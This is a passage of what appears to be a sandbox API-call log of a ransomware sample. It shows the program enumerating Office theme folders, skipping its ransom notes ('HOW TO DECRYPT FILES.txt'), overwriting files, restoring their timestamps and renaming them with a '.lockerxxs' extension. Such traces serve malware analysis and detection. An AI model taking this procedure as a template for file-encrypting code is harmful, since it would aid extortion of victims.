shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.lockerxxs")) returned 1 [0058.881] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.881] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0058.881] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0058.881] lstrcmpA (lpString1=".", lpString2="ARCTIC") returned -1 [0058.881] lstrcmpA (lpString1="..", lpString2="ARCTIC") returned -1 [0058.881] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*") returned="*.*" [0058.882] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="ARCTIC" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" [0058.882] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.883] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.883] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.883] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.883] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.883] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0058.883] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.883] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ARCTIC.ELM") returned 1 [0058.883] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ARCTIC.ELM") returned 1 [0058.883] lstrcmpiA (lpString1="", lpString2="ARCTIC.ELM") returned -1 [0058.883] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*") returned="*.*" [0058.885] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.885] CloseHandle (hObject=0x90) returned 1 [0058.885] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\", lpString2="ARCTIC.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" [0058.885] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM", pszSpec="*.ems") returned 0 [0058.886] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0058.886] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.886] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ARCTIC.INF") returned 1 [0058.886] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ARCTIC.INF") returned 1 [0058.886] lstrcmpiA (lpString1="", lpString2="ARCTIC.INF") returned -1 [0058.886] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned="ARCTIC.ELM" [0058.886] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.886] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.886] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.886] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.886] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.886] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF") returned="ARCTIC.INF" [0058.886] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.887] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.887] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned="PREVIEW.GIF" [0058.891] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned="THMBNAIL.PNG" [0058.891] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.891] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4d1e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4d1e, lpOverlapped=0x0) returned 1 [0058.891] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.891] CloseHandle (hObject=0x90) returned 1 [0058.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.lockerxxs")) returned 1 [0058.896] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.896] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.896] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="AXIS", cAlternateFileName="")) returned 1 [0058.896] lstrcmpA (lpString1=".", lpString2="AXIS") returned -1 [0058.896] lstrcmpA (lpString1="..", lpString2="AXIS") returned -1 [0058.896] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*") returned="*.*" [0058.896] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="AXIS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" [0058.897] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.899] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.899] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.899] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.899] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.899] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0058.899] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.899] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AXIS.ELM") returned 1 [0058.899] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AXIS.ELM") returned 1 [0058.899] lstrcmpiA (lpString1="", lpString2="AXIS.ELM") returned -1 [0058.899] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*") returned="*.*" [0058.919] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.923] CloseHandle (hObject=0x90) returned 1 [0058.923] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\", lpString2="AXIS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" [0058.923] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM", pszSpec="*.ems") returned 0 [0058.923] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0058.923] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.923] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AXIS.INF") returned 1 [0058.923] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AXIS.INF") returned 1 [0058.923] lstrcmpiA (lpString1="", lpString2="AXIS.INF") returned -1 [0058.923] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM") returned="AXIS.ELM" [0058.924] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x74, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.924] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.924] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF") returned="AXIS.INF" [0058.924] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.924] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.924] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.924] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.924] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned="PREVIEW.GIF" [0058.927] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.928] CloseHandle (hObject=0x90) returned 1 [0058.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.lockerxxs")) returned 1 [0058.930] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x74, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.930] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.931] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0058.931] lstrcmpA (lpString1=".", lpString2="BLENDS") returned -1 [0058.931] lstrcmpA (lpString1="..", lpString2="BLENDS") returned -1 [0058.931] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0058.932] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.932] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.932] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.932] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.932] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0058.932] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.932] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLENDS.ELM") returned 1 [0058.932] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLENDS.ELM") returned 1 [0058.932] lstrcmpiA (lpString1="", lpString2="BLENDS.ELM") returned -1 [0058.934] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.934] CloseHandle (hObject=0x90) returned 1 [0058.934] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", lpString2="BLENDS.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" [0058.934] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", pszSpec="*.ems") returned 0 [0058.934] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x4f8508, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0058.934] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.934] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLENDS.INF") returned 1 [0058.934] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLENDS.INF") returned 1 [0058.934] lstrcmpiA (lpString1="", lpString2="BLENDS.INF") returned -1 [0058.935] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.935] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.935] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.935] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.935] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, 